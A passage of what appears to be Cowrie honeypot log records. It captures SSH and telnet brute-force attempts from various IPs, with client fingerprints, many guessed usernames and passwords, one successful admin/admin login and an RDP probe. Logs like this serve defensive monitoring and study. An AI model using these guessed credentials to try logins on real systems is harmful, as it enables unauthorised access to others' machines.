{"eventid":"cowrie.login.failed","username":"admin","password":"31011967","message":"login attempt [admin/31011967] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:41.156806Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301289","message":"login attempt [admin/301289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:42.264944Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:42.299558Z","src_ip":"103.173.227.57","session":"5a6558811ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gemini","message":"login attempt [root/gemini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:43.053628Z","src_ip":"103.173.227.57","session":"5a6558811ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301279","message":"login attempt [admin/301279] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:43.367310Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:44.289013Z","src_ip":"103.173.227.57","session":"5a6558811ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30121994","message":"login attempt [admin/30121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:44.470178Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:45.573444Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":45180,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75f1dd6fc7c","protocol":"ssh","message":"New connection: 192.169.243.246:45180 (10.17.0.5:22) [session: e75f1dd6fc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:54.787551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:54.792751Z","src_ip":"192.169.243.246","session":"e75f1dd6fc7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:54.872088Z","src_ip":"192.169.243.246","session":"e75f1dd6fc7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia2100","message":"login attempt [root/nokia2100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:55.205804Z","src_ip":"192.169.243.246","session":"e75f1dd6fc7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.133.110.250","src_port":50806,"dst_ip":"10.17.0.5","dst_port":23,"session":"8915112688ab","protocol":"telnet","message":"New connection: 121.133.110.250:50806 (10.17.0.5:23) [session: 8915112688ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:55.631652Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:56.284773Z","src_ip":"192.169.243.246","session":"e75f1dd6fc7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":33464,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf22c58612da","protocol":"ssh","message":"New connection: 43.228.112.254:33464 (10.17.0.5:22) [session: cf22c58612da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:59.157404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:59.161671Z","src_ip":"43.228.112.254","session":"cf22c58612da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:59.368768Z","src_ip":"43.228.112.254","session":"cf22c58612da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeevan","message":"login attempt [root/jeevan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:00.256117Z","src_ip":"43.228.112.254","session":"cf22c58612da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:01.468684Z","src_ip":"43.228.112.254","session":"cf22c58612da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50670,"dst_ip":"159.203.135.109","dst_port":22,"session":"752c35e09380","protocol":"ssh","message":"New connection: 193.32.162.151:50670 (159.203.135.109:22) [session: 752c35e09380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:03.247005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:03.268260Z","src_ip":"193.32.162.151","session":"752c35e09380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:03.379227Z","src_ip":"193.32.162.151","session":"752c35e09380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"epsuser123","message":"login attempt [epsuser/epsuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:03.713518Z","src_ip":"193.32.162.151","session":"752c35e09380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:04.825264Z","src_ip":"193.32.162.151","session":"752c35e09380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":50904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d03cf4a2ce69","protocol":"ssh","message":"New connection: 43.156.136.152:50904 (10.17.0.5:22) [session: d03cf4a2ce69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:09.705696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:09.710731Z","src_ip":"43.156.136.152","session":"d03cf4a2ce69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:09.943215Z","src_ip":"43.156.136.152","session":"d03cf4a2ce69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:10.901682Z","src_ip":"43.156.136.152","session":"d03cf4a2ce69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:12.137519Z","src_ip":"43.156.136.152","session":"d03cf4a2ce69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48120,"dst_ip":"10.17.0.5","dst_port":22,"session":"257a25d9fe5c","protocol":"ssh","message":"New connection: 37.143.61.84:48120 (10.17.0.5:22) [session: 257a25d9fe5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:33.103239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:33.397066Z","src_ip":"37.143.61.84","session":"257a25d9fe5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:33.504802Z","src_ip":"37.143.61.84","session":"257a25d9fe5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131421","message":"login attempt [root/131421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:33.998666Z","src_ip":"37.143.61.84","session":"257a25d9fe5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:35.101089Z","src_ip":"37.143.61.84","session":"257a25d9fe5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57922,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7268809a309","protocol":"ssh","message":"New connection: 152.42.212.128:57922 (159.203.135.109:22) [session: a7268809a309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:59.434506Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:59.438830Z","src_ip":"152.42.212.128","session":"a7268809a309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:35:59.442506Z","src_ip":"152.42.212.128","session":"a7268809a309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":41976,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ee9198cb88d","protocol":"ssh","message":"New connection: 192.169.243.246:41976 (10.17.0.5:22) [session: 8ee9198cb88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:04.106870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:04.113683Z","src_ip":"192.169.243.246","session":"8ee9198cb88d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:04.187164Z","src_ip":"192.169.243.246","session":"8ee9198cb88d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1950","message":"login attempt [root/1950] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:04.508015Z","src_ip":"192.169.243.246","session":"8ee9198cb88d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:05.584543Z","src_ip":"192.169.243.246","session":"8ee9198cb88d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:10.667998Z","src_ip":"121.133.110.250","session":"8915112688ab","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:10.716747Z","src_ip":"121.133.110.250","session":"8915112688ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":45350,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e0f581daeff","protocol":"ssh","message":"New connection: 43.228.112.254:45350 (10.17.0.5:22) [session: 0e0f581daeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:20.205127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:20.209517Z","src_ip":"43.228.112.254","session":"0e0f581daeff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 